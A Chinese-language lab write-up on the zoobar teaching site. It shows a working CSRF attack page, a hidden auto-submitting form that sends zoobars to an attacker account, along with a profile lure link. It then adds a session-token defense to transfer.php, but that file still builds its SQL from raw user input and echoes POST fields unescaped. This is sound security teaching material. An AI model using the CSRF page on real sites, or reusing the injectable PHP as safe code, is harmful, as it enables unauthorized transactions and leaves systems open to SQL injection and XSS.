資訊保安實踐Lab3-CSRF&XSS&點選劫持
資訊保安實踐Lab3-CSRF&XSS&點選劫持
CSRF
在zoobar網站上展示並防禦CSRF攻擊。請注意在防禦時的粒度問題,防止所有人的token都一樣;以及重新整理太快,正常操作都失敗。
配置
先在myzoo網站註冊兩個賬號 victim和attack。
攻擊者伺服器所在虛擬機器配置(10.211.55.16):
1.安裝apache2
sudo apt-get install apache2
2.關閉防火牆
sudo ufw disable
3.配置hosts
sudo vim /etc/hosts
在最後新增
10.211.55.14 www.myzoo.com #這裡的ip填寫myzoo伺服器的ip地址
127.0.0.1 www.attack.com
4.編寫index.html檔案
sudo cd /var/www/html
sudo vim index.html
將下面的內容複製進去即可
index.html
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<title>my profile</title>
</head>
<body>
<iframe name="it" style="display:none" width="600px" height="450px"></iframe>
<form method="POST"
name="transferform"
action="http://www.myzoo.com/transfer.php"
target="it"
id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="attack">
<input type="hidden" name="submission" value="Send">
</form>
<img src="http://106.13.136.87:8080/101.jpeg">
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
myzoo網站所在虛擬機器配置(10.211.55.14):
1.關閉防火牆
sudo ufw disable
2.配置hosts
sudo vim /etc/hosts
在最後新增
127.0.0.1 www.myzoo.com
10.211.55.16 www.attack.com #這裡的ip填寫攻擊者伺服器的ip地址
攻擊
1.attack在賬號的profile中寫入:
<a href="http://www.attack.com"> 點選檢視我的照片哦</a>
然後點選save。
2.victim使用者去檢視attack的profile
當victim點選該連結後,就會向attack轉1個zoobars。
防禦
方法1:使用session
修改transfer.php檔案:
1.在開頭加入下面的內容
<?php
session_start();
?>
2.修改if語句
if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf'])
3.在45-47行加入下面內容
<?php
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
?>
4.在form中新增下面的內容
<input type=hidden name=token value="<?php echo $_SESSION['csrf']?>"/>
修改後的transfer.php如下:
<?php
session_start();
?>
<?php
require_once("includes/common.php");
nav_start_outer("Transfer");
nav_start_inner();
if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf']) {
$recipient = $_POST['recipient'];
$zoobars = (int) $_POST['zoobars'];
$sql = "SELECT Zoobars FROM Person WHERE PersonID=$user->id";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$sender_balance = $rs["Zoobars"] - $zoobars;
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$recipient_exists = $rs["PersonID"];
if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists) {
$sql = "UPDATE Person SET Zoobars = $sender_balance " .
"WHERE PersonID=$user->id";
$db->executeQuery($sql);
$sql = "SELECT Zoobars FROM Person WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$recipient_balance = $rs["Zoobars"] + $zoobars;
$sql = "UPDATE Person SET Zoobars = $recipient_balance " .
"WHERE Username='$recipient'";
$db->executeQuery($sql);
$result = "Sent $zoobars zoobars";
}
else $result = "Transfer to $recipient failed.";
}
?>
<p><b>Balance:</b>
<span id="myZoobars"> <?php
$sql = "SELECT Zoobars FROM Person WHERE PersonID=$user->id";
$rs = $db->executeQuery($sql);
$rs = mysql_fetch_array($rs);
$balance = $rs["Zoobars"];
echo $balance > 0 ? $balance : 0;
?> </span> zoobars</p>
<?php
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
?>
<form method=POST name=transferform
action="<?php echo $_SERVER['PHP_SELF']?>">
<p>Send <input name=zoobars type=text value="<?php
echo $_POST['zoobars'];
?>" size=5> zoobars</p>
<p>to <input name=recipient type=text value="<?php
echo $_POST['recipient'];
?>"></p>
<input type=hidden name=token value="<?php echo $_SESSION['csrf']?>"/>
<input type=submit name=submission value="Send">
</form>
<span class=warning><?php
echo "$result";
?></span>
<?php
nav_end_inner();
?>
<script type="text/javascript" src="zoobars.js.php"></script>
<?php
nav_end_outer();
?>
相關文章
- 資訊保安實踐Lab2-CSSCSS
- 資訊保安
- BP - 點選劫持 Clickjacking (UI redressing)UI
- 智慧網聯汽車資訊保安風險分析及實踐探討
- 【三】資訊保安
- 從 Ajax 聊一聊 Jsonp 點選劫持JSON
- AIGC資訊保安-在應用系統中安全防範過程實踐應用AIGC
- 物聯網資訊保安
- 關於資訊保安的
- 騰訊安全入選《2020年資料安全典型實踐案例》
- 直擊3·15晚會,網路資訊保安成焦點!
- 資料庫的資訊保安管理資料庫
- 代理IP如何實現網路資訊保安防護?
- 資訊保安對稱密碼分析實驗總結密碼
- 曹政資訊保安課筆記-常見資訊保安的常識錯誤筆記
- 中新賽克夯實資訊保安,助力通訊部件國產化
- 資訊保安檢查內容
- Cybellum—資訊保安測試工具
- 如何保障Cookie的資訊保安Cookie
- 分享資訊保安工作小記
- 人工智慧與資訊保安人工智慧
- 資訊保安與Linux系統Linux
- 資訊保安數學基礎
- [資訊保安] WEP 是什麼
- 員工電腦資訊保安
- DefenseCode — 資訊保安測試工具
- 資訊保安作業1——SYSU
- 【騰訊課堂】視訊點播上雲實踐
- 海雲安個人隱私資訊保安影響評估系統入個人資訊保護創新實踐案例
- 和CISSP並肩的資訊保安認證國際註冊資訊保安經理CISM
- 什麼是資訊保安風險評估?資訊保安風險評估的步驟?
- 聚焦實踐|綠盟科技支援全國大學生資訊保安競賽東北、華中賽區
- 古代密碼學與資訊保安密碼學
- 資訊保安問題與防範
- Linux賬戶資訊保安深入剖析Linux
- 資訊保安概論複習3
- 資訊保安概論複習-2
- 資訊保安概論期末複習